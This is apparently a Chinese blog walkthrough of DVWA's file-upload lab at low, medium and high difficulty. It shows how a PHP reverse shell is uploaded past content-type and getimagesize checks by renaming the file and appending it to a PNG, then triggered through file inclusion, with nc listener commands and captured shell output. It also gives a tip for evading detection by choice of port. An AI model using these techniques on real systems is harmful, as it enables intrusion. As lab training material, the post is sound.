滲透測試重新打底(3.8)--論Web入侵之File Upload攻擊


Posted by kahatrix on 2023-09-22

File upload介紹

用admin/password登入,進去之後畫面:

點上圖的2以後:

?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

這個source code可以看到說他用了一個post request然後做upload,upload之後他沒有對沒有做任何的filter,檔案上去了就就直接上去也沒有針對比如說檔案的extension或者是看有沒有檔案的magic header。好所以要針對這樣的漏洞進行攻擊其實很簡單。因為他這邊是PHP的檔案的web server那我們可以使用像是PHP reverse shell的這個檔案我們可以看一下在哪:

┌──(kali㉿kali)-[~]
└─$ locate php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php

補充一下,這個web shell的資料夾裡面不只PHP的shell檔案還有很多其他像是perl或是ASP各大這種針對web server,他都會有:

┌──(kali㉿kali)-[/usr/share/webshells]
└─$ ls -al                      
total 40
drwxr-xr-x   8 root root  4096 Aug  8  2022 .
drwxr-xr-x 356 root root 12288 May 19 03:40 ..
drwxr-xr-x   2 root root  4096 Aug  8  2022 asp
drwxr-xr-x   2 root root  4096 Aug  8  2022 aspx
drwxr-xr-x   2 root root  4096 Aug  8  2022 cfm
drwxr-xr-x   2 root root  4096 Aug  8  2022 jsp
lrwxrwxrwx   1 root root    19 Aug  8  2022 laudanum -> /usr/share/laudanum
drwxr-xr-x   2 root root  4096 Aug  8  2022 perl
drwxr-xr-x   3 root root  4096 Dec 10  2022 php

PHP reverse shell他就是一個很巨大的PHP檔案,我們通常會拿他來做反彈shell,那在這邊要編輯一下他的IP他有告訴你他的IP跟port要改一下:

如果習慣是port 4444,那這個習慣其實不是很好,因為port4444常常會被擋掉,所以比較好的選擇比如說會是443,因為他是走https或者是port80這種這種port比較常被使用的。當你真正在打Lab或者是真正做滲透測試的時候,比較不會被抓到。

aaa

記得執行php前要先在攻擊機聽port

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234              
listening on [any] 1234 ...

根據下圖的下面紅圈來決定網址列要打什麼:

成功反彈shell

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234              
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42753
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 15:19:01 up 17 min,  0 users,  load average: 0.00, 0.07, 0.20
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

依下圖步驟更換難度:

進入檔案上傳頁面:

可以按上圖右下角部分看原始碼:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

中等的source code(如上)可以看到稍微多一點東西,在這個upload type的地方他會check說他是不是image jpeg或者是png的檔案類型,而且他限定了檔案的大小,所以這樣子看起來貌似好像只有image可以可以上傳,但是這其實很簡單就可以做bypass。

比如說我們可以用像是burp來做處理:

設定proxy:

複製之前的php web shell並改個檔名:

┌──(kali㉿kali)-[~/THM]
└─$ cp php-reverse-shell.php php-reverse-shell.png

首先我們的content type瀏覽器已經幫我們變成image.png,然後檔案本身當然是我們的惡意的php這沒有什麼疑問,那我們可以在這filename的地方原本副檔名是png我們把它改回php就可以了,因為剛剛的source code沒有針對副檔名進行辨認,只有針對content type進行辨認。

把上面的png改成php後按右上角Forward,正式上傳:

一樣,先聽port:

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234                                 
listening on [any] 1234 ...

也一樣改網址觸發reverse shell:

可以發現shell反彈回來:

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234                                 
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42758
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 15:47:07 up 45 min,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

這個小trick其實在OSCP lab中非常常見,當然在lab之中他不會給你source code,但是可以用這樣的方式來跟大家分享,如果你今天你的檔案上傳失敗了,他可能失敗的原因是什麼,以及你可以做怎麼樣的嘗試去做繞過。

看看難度high的原始碼:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

除了副檔名之外呢,他還使用了getimagesize,他會去去看看這個檔案的magic header,等於是去parse你所上傳的檔案,所以照理來說如果你上傳了一個純PHP檔案,你就沒有辦法通過這一個get image size這一個parser,當然也就不會得到一個檔案上傳的結果。

┌──(kali㉿kali)-[~/THM]
└─$ ls -al
total 32
drwxr-xr-x  2 kali kali 4096 Jul 27 11:59 .
drwxr-xr-x 31 kali kali 4096 Jul 27 11:12 ..
-rw-r--r--  1 kali kali 5044 Jul 27 11:59 logo.png
-rwxr-xr-x  1 kali kali 5493 Jul 27 11:12 php-reverse-shell.php
-rwxr-xr-x  1 kali kali 5493 Jul 27 11:35 php-reverse-shell.png

┌──(kali㉿kali)-[~/THM]
└─$ cat php-reverse-shell.png >> logo.png

我們可以把PHP的檔案夾在檔案的尾巴。下面指令是pipe然後用less這個工具,這個工具的話他因為我已經知道檔案非常長所以我用less這個小工具來限定說我要從最檔案的最上面開始看一下。

┌──(kali㉿kali)-[~/THM]
└─$ hexdump logo.png -C | less

看看logo.png的長相:

檢查一下現在的圖片檔:

上傳成功:

大家可能會好奇說我們要怎麼樣去執行這個logo.png檔案。這個時候不能夠像剛剛low跟medium一樣直接呼叫他,因為他呼叫起來就只是一個png檔案。

我們要怎麼樣呼叫呢?我們可以用其他的漏洞,比如說在旁邊file inclusion的地方,但先把難度調回最簡單。

瀏覽器不只支援http他也支援像是像file或是ftp還有其他的方法,那在這個地方我們要注意一下,如果你在這邊用file的話,最好加上四個slash通常才會work,因為在parse的時候他可能會把兩個變成一個,所以你如果要確保你有兩個slash傳進去的話,你要在你的瀏覽器url上面打四個。link的話這個folder的架構應該linux都是一樣的,然後再來是hackable upload,完整網址:

http://10.10.85.14/vulnerabilities/fi/?page=file:////var/www/html/hackable/uploads/logo.png

成功反彈:

┌──(kali㉿kali)-[~/THM]
└─$ nc -lvnp 1234                                 
listening on [any] 1234 ...
connect to [10.18.71.25] from (UNKNOWN) [10.10.85.14] 42771
Linux ip-10-10-85-14 3.13.0-158-generic #208-Ubuntu SMP Fri Aug 24 17:07:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 16:17:16 up  1:15,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

可以trigger檔案的檔案路徑找法? 有兩種解法,第一是比如說你可以透過像是如果你很幸運你有command injection的話,你可以透過就是比如說執行command去找一下檔案在哪裡。第二是你可以上傳一個奇怪檔名的檔案,然後你記好這個檔案名稱之後你可以用gobuster或者是dirbuster去帶這個字典檔,這兩個工具就是會幫你去掃目標的directory。那如果你很幸運的掃到了你的檔案,這種還是要透過爆破會比較快。另外一種比較慢的方法就是可能要去研究一下對方的目標,但這也是比較常見的解法,我自己遇到狀況是這樣,就是你只能在他的那個webapplication裡面一個一個去試,當然首先你要先確保你能夠做directory traversal,那如果不行的話那真的是只能用盲注去找出你的檔案。










Related Posts

安裝MySQL Server

安裝MySQL Server

JavaScript 中的同步與非同步(上):先成為 callback 大師吧!

JavaScript 中的同步與非同步(上):先成為 callback 大師吧!

[css] 如果只有一個 div

[css] 如果只有一個 div


Comments